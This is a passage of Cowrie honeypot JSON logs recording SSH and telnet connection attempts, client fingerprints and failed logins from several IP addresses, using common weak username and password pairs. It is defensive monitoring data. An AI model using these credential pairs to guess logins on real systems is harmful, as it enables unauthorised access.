af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:25.790683Z","src_ip":"103.63.108.25","session":"8dd4500e409d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"88888888","message":"login attempt [ubuntu/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:26.881722Z","src_ip":"103.63.108.25","session":"8dd4500e409d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:28.166813Z","src_ip":"103.63.108.25","session":"8dd4500e409d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38984,"dst_ip":"159.203.135.109","dst_port":22,"session":"858aa3300d9e","protocol":"ssh","message":"New connection: 159.203.92.129:38984 (159.203.135.109:22) [session: 858aa3300d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:41.051879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:41.056309Z","src_ip":"159.203.92.129","session":"858aa3300d9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:41.063883Z","src_ip":"159.203.92.129","session":"858aa3300d9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaliyah","password":"123456","message":"login attempt [aaliyah/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:41.073905Z","src_ip":"159.203.92.129","session":"858aa3300d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:42.080382Z","src_ip":"159.203.92.129","session":"858aa3300d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00992560386658,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:06.355193Z","src_ip":"152.59.19.2","session":"3542d9673355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":21222,"dst_ip":"159.203.135.109","dst_port":23,"session":"b698db9bfd1c","protocol":"telnet","message":"New connection: 152.59.19.2:21222 (159.203.135.109:23) [session: b698db9bfd1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:06.803407Z"}
{"eventid":"cowrie.session.closed","duration":120.00184512138367,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:08.067381Z","src_ip":"152.59.19.2","session":"601dd4c587ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34982,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e8a9048bf33","protocol":"ssh","message":"New connection: 159.203.92.129:34982 (159.203.135.109:22) [session: 9e8a9048bf33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:24.351767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:24.356180Z","src_ip":"159.203.92.129","session":"9e8a9048bf33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:24.359599Z","src_ip":"159.203.92.129","session":"9e8a9048bf33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaliyah","password":"aaliyah","message":"login attempt [aaliyah/aaliyah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:24.367922Z","src_ip":"159.203.92.129","session":"9e8a9048bf33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45374,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d24ec492c89","protocol":"ssh","message":"New connection: 80.94.92.186:45374 (159.203.135.109:22) [session: 2d24ec492c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:25.177159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:25.211958Z","src_ip":"80.94.92.186","session":"2d24ec492c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:25.341875Z","src_ip":"80.94.92.186","session":"2d24ec492c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:25.376187Z","src_ip":"159.203.92.129","session":"9e8a9048bf33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:25.961821Z","src_ip":"80.94.92.186","session":"2d24ec492c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:27.075725Z","src_ip":"80.94.92.186","session":"2d24ec492c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":49584,"dst_ip":"159.203.135.109","dst_port":22,"session":"25585946951a","protocol":"ssh","message":"New connection: 103.63.108.25:49584 (159.203.135.109:22) [session: 25585946951a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:29.366210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:29.374546Z","src_ip":"103.63.108.25","session":"25585946951a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:29.650132Z","src_ip":"103.63.108.25","session":"25585946951a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser01","message":"login attempt [ftpuser/ftpuser01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:30.775254Z","src_ip":"103.63.108.25","session":"25585946951a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:48:32.060585Z","src_ip":"103.63.108.25","session":"25585946951a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34216,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf47eebdcb78","protocol":"ssh","message":"New connection: 159.203.92.129:34216 (159.203.135.109:22) [session: bf47eebdcb78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:09.454534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:09.458545Z","src_ip":"159.203.92.129","session":"bf47eebdcb78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:09.462885Z","src_ip":"159.203.92.129","session":"bf47eebdcb78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaron","password":"123456","message":"login attempt [aaron/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:09.473573Z","src_ip":"159.203.92.129","session":"bf47eebdcb78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:10.480928Z","src_ip":"159.203.92.129","session":"bf47eebdcb78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":34906,"dst_ip":"159.203.135.109","dst_port":22,"session":"31512d6c73ea","protocol":"ssh","message":"New connection: 103.63.108.25:34906 (159.203.135.109:22) [session: 31512d6c73ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:34.488624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:34.492669Z","src_ip":"103.63.108.25","session":"31512d6c73ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:34.783241Z","src_ip":"103.63.108.25","session":"31512d6c73ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"admin","message":"login attempt [sysadmin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:35.970880Z","src_ip":"103.63.108.25","session":"31512d6c73ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:37.265822Z","src_ip":"103.63.108.25","session":"31512d6c73ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.76.241.23","src_port":50834,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b995724dca3","protocol":"telnet","message":"New connection: 94.76.241.23:50834 (10.17.0.5:23) [session: 4b995724dca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:45.232347Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.246.68","src_port":45844,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b935caf67ee","protocol":"telnet","message":"New connection: 202.61.246.68:45844 (10.17.0.5:23) [session: 0b935caf67ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:47.320915Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53238,"dst_ip":"159.203.135.109","dst_port":22,"session":"06b48a917b29","protocol":"ssh","message":"New connection: 159.203.92.129:53238 (159.203.135.109:22) [session: 06b48a917b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:51.083346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:51.087553Z","src_ip":"159.203.92.129","session":"06b48a917b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:51.091474Z","src_ip":"159.203.92.129","session":"06b48a917b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaron","password":"aaron","message":"login attempt [aaron/aaron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:51.101195Z","src_ip":"159.203.92.129","session":"06b48a917b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:49:52.106615Z","src_ip":"159.203.92.129","session":"06b48a917b29","protocol":"ssh"}
